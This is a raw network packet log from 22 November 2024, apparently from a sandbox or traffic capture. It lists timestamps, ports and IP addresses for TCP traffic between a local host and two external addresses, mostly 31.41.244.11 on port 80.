Nov 22, 2024 04:12:16.209198952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.209240913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.209285021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.209327936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.210081100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.210129023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.210174084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.210217953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.210956097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.210999966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.211064100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.211108923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.211843967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.211889982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.211924076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.211966991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.212743998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.212795973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.212860107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.212905884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.213625908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.213676929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.213721037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.213763952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.214502096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.214546919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.214584112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.214629889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.215157032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.215199947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.215369940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.215413094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.216018915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.216063976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.216134071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.216176987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.216912985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.216957092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.217061043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.217103958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.217747927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.217792034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.364645958 CET	443	49772	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.364710093 CET	443	49772	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.364768982 CET	49772	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.372766972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.372843027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.372900963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.372946978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.373186111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.373231888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.373368025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.373408079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.374052048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.374098063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.374178886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.374219894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.374958038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.375000000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.375078917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.375121117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.375824928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.375924110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.375940084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.375987053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.376734972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.376781940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.376826048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.376907110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.377098083 CET	49772	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.377116919 CET	443	49772	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.377151012 CET	49772	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.377156973 CET	443	49772	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.377594948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.377640963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.377696037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.377737999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.378474951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.378535032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.378626108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.378670931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.379388094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.379448891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.379487038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.379528999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.380068064 CET	49777	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.380148888 CET	443	49777	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.380237103 CET	49777	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.380261898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.380310059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.380368948 CET	49777	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.380410910 CET	443	49777	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.380424976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.380460024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.381150007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.381195068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.381267071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.381314993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.382025957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.382069111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.382117987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.382158995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.382944107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.382987022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.383024931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.383068085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.383791924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.383838892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.383881092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.383928061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.384660006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.384708881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.384762049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.384807110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.385581017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.385631084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.385674000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.385718107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.386445999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.386492014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.386534929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.386579037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.387343884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.387413025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.387449980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.387490034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.388207912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.388258934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.388322115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.388370037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.389091969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.389142036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.389216900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.389261007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.389974117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.390022993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.390074015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.390120983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.390861988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.390912056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.390955925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.391000986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.391746998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.391797066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.391839027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.391882896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.392637014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.392683983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.392729998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.392777920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.393526077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.393573999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.393626928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.393671989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.394387960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.394437075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.394481897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.394526958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.395277977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.395373106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.395421982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.395472050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.396182060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.396291018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.396294117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.396342993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.397056103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.397100925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.397136927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.397181034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.397933006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.398003101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.398014069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.398058891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.398825884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.398870945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.398955107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.398998976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.399697065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.399744987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.399791002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.399836063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.400578976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.400631905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.400677919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.400724888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.401493073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.401542902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.401597977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.401647091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.402364969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.402410984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.402492046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.402538061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.403275967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.403347969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.403567076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.403619051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.404148102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.404198885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.404270887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.404314041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.405050993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.405097961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.405173063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.405220985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.405919075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.405972958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.406017065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.406060934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.406845093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.406892061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.406980991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.407027960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.407680035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.407726049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.407789946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.407833099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.408555984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.408624887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.408660889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.408706903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.409450054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.409495115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.409571886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.409621954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.410346031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.410389900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.410444975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.410489082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.411202908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.411257982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.411293983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.411334991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.412096977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.412158966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.412194967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.412239075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.412976027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.413023949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.413098097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.413142920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.413889885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.413938999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.414001942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.414061069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.414755106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.414803982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.414871931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.414916039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.415623903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.415683985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.415719032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.415759087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.416259050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.416304111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.416394949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.416440964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.417151928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.417201042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.417251110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.417296886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.418025017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.418073893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.418119907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.418163061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.418889999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.418936968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.445363998 CET	443	49773	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.445511103 CET	443	49773	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.445625067 CET	49773	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.445683956 CET	49773	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.445683956 CET	49773	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.445728064 CET	443	49773	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.445759058 CET	443	49773	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.445947886 CET	443	49774	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.446003914 CET	443	49774	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.446043968 CET	49774	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.446576118 CET	49774	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.446583986 CET	443	49774	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.446593046 CET	49774	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.446595907 CET	443	49774	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.448631048 CET	49778	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.448734999 CET	443	49778	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.448821068 CET	49778	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.449013948 CET	49778	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.449048042 CET	443	49778	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.449526072 CET	49779	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.449553013 CET	443	49779	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.449629068 CET	49779	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.449712992 CET	49779	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.449736118 CET	443	49779	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.573878050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.573954105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.573991060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.574033022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.574302912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.574342966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.574387074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.574425936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.575189114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.575237036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.575293064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.575328112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.576071024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.576114893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.576181889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.576221943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.576951981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.576993942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.577059031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.577100039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.577841043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.577886105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.577929974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.577967882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.578721046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.578763962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.578816891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.578857899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.579603910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.579652071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.579698086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.579740047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.580497980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.580554008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.580598116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.580640078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.581376076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.581429005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.581496954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.581542015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.582278013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.582338095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.582375050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.582421064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.583148956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.583200932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.583247900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.583291054 CET	49760	80	192.168.2.4	31.41.244.11
